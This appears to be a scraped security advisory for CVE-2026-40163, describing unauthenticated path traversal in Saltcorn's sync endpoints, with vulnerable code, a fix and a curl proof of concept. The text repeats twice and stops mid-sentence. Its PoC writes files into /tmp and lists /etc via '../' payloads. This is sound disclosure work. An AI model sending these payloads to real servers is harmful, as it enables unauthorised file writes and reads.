CVE-2026-40163

Saltcorn is an extensible, open source, no-code database application builder. Prior to 1.4.5, 1.5.5, and 1.6.0-beta.4, the POST /sync/offline_changes endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem. The GET /sync/upload_finished endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files. This vulnerability is fixed in 1.4.5, 1.5.5, and 1.6.0-beta.4.

Saltcorn is an extensible, open source, no-code database application builder. Prior to 1.4.5, 1.5.5, and 1.6.0-beta.4, the POST /sync/offline_changes endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem. The GET /sync/upload_finished endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files. This vulnerability is fixed in 1.4.5, 1.5.5, and 1.6.0-beta.4.

Summary

Two unauthenticated path traversal vulnerabilities exist in Saltcorn's mobile sync endpoints. The POST /sync/offline_changes endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem. The GET /sync/upload_finished endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files.

The safe path validation function File.normalise_in_base() exists in the codebase and is correctly used by the clean_sync_dir endpoint in the same file (fix for GHSA-43f3-h63w-p6f6), but was not applied to these two endpoints.

Details

Finding 1: Arbitrary file write — POST /sync/offline_changes (sync.js line 226)

The newSyncTimestamp parameter from the request body is used directly in path.join() without sanitization:

const syncDirName = `${newSyncTimestamp}_${req.user?.email || "public"}`;
const syncDir = path.join(
    rootFolder.location, "mobile_app", "sync", syncDirName
);
await fs.mkdir(syncDir, { recursive: true });        // creates arbitrary dir
await fs.writeFile(
    path.join(syncDir, "changes.json"),
    JSON.stringify(changes)                           // writes attacker content
);

No authentication middleware is applied to this route. Since path.join() normalizes ../ sequences, setting newSyncTimestamp to ../../../../tmp/evil causes the path to resolve outside the sync directory.

Finding 2: Arbitrary directory read — GET /sync/upload_finished (sync.js line 288)

The dir_name query parameter is used directly in path.join() without sanitization:

const syncDir = path.join(
    rootFolder.location, "mobile_app", "sync", dir_name
);
let entries = await fs.readdir(syncDir);

Also unauthenticated. An attacker can list directory contents and read files named translated-ids.json, unique-conflicts.json, data-conflicts.json, or error.json from any directory.

Contrast — fixed endpoint in the same file (line 342):

The clean_sync_dir endpoint correctly uses File.normalise_in_base():

const syncDir = File.normalise_in_base(
    path.join(rootFolder.location, "mobile_app", "sync"),
    dir_name
);
if (syncDir) await fs.rm(syncDir, { recursive: true, force: true });

PoC

# Write arbitrary file to /tmp/
curl -X POST http://TARGET:3000/sync/offline_changes \
  -H "Content-Type: application/json" \
  -d '{
    "newSyncTimestamp": "../../../../tmp/saltcorn_poc",
    "oldSyncTimestamp": "0",
    "changes": {"proof": "path_traversal_write"}
  }'
# Result: /tmp/saltcorn_poc_public/changes.json created with attacker content

# List /etc/ directory
curl "http://TARGET:3000/sync/upload_finished?dir_name=../../../../etc"

Impact

• Unauthenticated arbitrary directory creation anywhere on the filesystem
• Unauthenticated arbitrary JSON file write (changes.json) to any writable directory
• Unauthenticated directory listing of arbitrary directories
• Unauthenticated read of specific JSON files from arbitrary directories
• Potential for remote code execution via writing to sensitive paths (cron, systemd, Node.js module paths)

Remediation

Apply File.normalise_in_base() to both endpoints, matching the existing pattern in clean_sync_dir:

// offline_changes fix
const syncDirName = `${newSyncTimestamp}_${req.user?.email || "public"}`;
const syncDir = File.normalise_in_base(
    path.join(rootFolder.location, "mobile_app", "sync"),
    syncDirName
);
if (!syncDir) {
    return res.status(400).json({ error: "Invalid sync directory name" });
}

// upload_finished fix
const syncDir = File.normalise_in_base(
    path.join(rootFolder.location, "mobile_app", "sync"),
    dir_name
);
if (!syncDir) {
    return res.json({ finished: false });
}

Additionally, add loggedIn middleware to endpoints that…

Saltcorn is an extensible, open source, no-code database application builder. Prior to 1.4.5, 1.5.5, and 1.6.0-beta.4, the POST /sync/offline_changes endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem. The GET /sync/upload_finished endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files. This vulnerability is fixed in 1.4.5, 1.5.5, and 1.6.0-beta.4.

Saltcorn is an extensible, open source, no-code database application builder. Prior to 1.4.5, 1.5.5, and 1.6.0-beta.4, the POST /sync/offline_changes endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem. The GET /sync/upload_finished endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files. This vulnerability is fixed in 1.4.5, 1.5.5, and 1.6.0-beta.4.

Summary

Two unauthenticated path traversal vulnerabilities exist in Saltcorn's mobile sync endpoints. The POST /sync/offline_changes endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem. The GET /sync/upload_finished endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files.

The safe path validation function File.normalise_in_base() exists in the codebase and is correctly used by the clean_sync_dir endpoint in the same file (fix for GHSA-43f3-h63w-p6f6), but was not applied to these two endpoints.

Details

Finding 1: Arbitrary file write — POST /sync/offline_changes (sync.js line 226)

The newSyncTimestamp parameter from the request body is used directly in path.join() without sanitization:

const syncDirName = `${newSyncTimestamp}_${req.user?.email || "public"}`;
const syncDir = path.join(
    rootFolder.location, "mobile_app", "sync", syncDirName
);
await fs.mkdir(syncDir, { recursive: true });        // creates arbitrary dir
await fs.writeFile(
    path.join(syncDir, "changes.json"),
    JSON.stringify(changes)                           // writes attacker content
);

No authentication middleware is applied to this route. Since path.join() normalizes ../ sequences, setting newSyncTimestamp to ../../../../tmp/evil causes the path to resolve outside the sync directory.

Finding 2: Arbitrary directory read — GET /sync/upload_finished (sync.js line 288)

The dir_name query parameter is used directly in path.join() without sanitization:

const syncDir = path.join(
    rootFolder.location, "mobile_app", "sync", dir_name
);
let entries = await fs.readdir(syncDir);

Also unauthenticated. An attacker can list directory contents and read files named translated-ids.json, unique-conflicts.json, data-conflicts.json, or error.json from any directory.

Contrast — fixed endpoint in the same file (line 342):

The clean_sync_dir endpoint correctly uses File.normalise_in_base():

const syncDir = File.normalise_in_base(
    path.join(rootFolder.location, "mobile_app", "sync"),
    dir_name
);
if (syncDir) await fs.rm(syncDir, { recursive: true, force: true });

PoC

# Write arbitrary file to /tmp/
curl -X POST http://TARGET:3000/sync/offline_changes \
  -H "Content-Type: application/json" \
  -d '{
    "newSyncTimestamp": "../../../../tmp/saltcorn_poc",
    "oldSyncTimestamp": "0",
    "changes": {"proof": "path_traversal_write"}
  }'
# Result: /tmp/saltcorn_poc_public/changes.json created with attacker content

# List /etc/ directory
curl "http://TARGET:3000/sync/upload_finished?dir_name=../../../../etc"

Impact

• Unauthenticated arbitrary directory creation anywhere on the filesystem
• Unauthenticated arbitrary JSON file write (changes.json) to any writable directory
• Unauthenticated directory listing of arbitrary directories
• Unauthenticated read of specific JSON files from arbitrary directories
• Potential for remote code execution via writing to sensitive paths (cron, systemd, Node.js module paths)

Remediation

Apply File.normalise_in_base() to both endpoints, matching the existing pattern in clean_sync_dir:

// offline_changes fix
const syncDirName = `${newSyncTimestamp}_${req.user?.email || "public"}`;
const syncDir = File.normalise_in_base(
    path.join(rootFolder.location, "mobile_app", "sync"),
    syncDirName
);
if (!syncDir) {
    return res.status(400).json({ error: "Invalid sync directory name" });
}

// upload_finished fix
const syncDir = File.normalise_in_base(
    path.join(rootFolder.location, "mobile_app", "sync"),
    dir_name
);
if (!syncDir) {
    return res.json({ finished: false });
}

Additionally, add loggedIn middleware to endpoints that…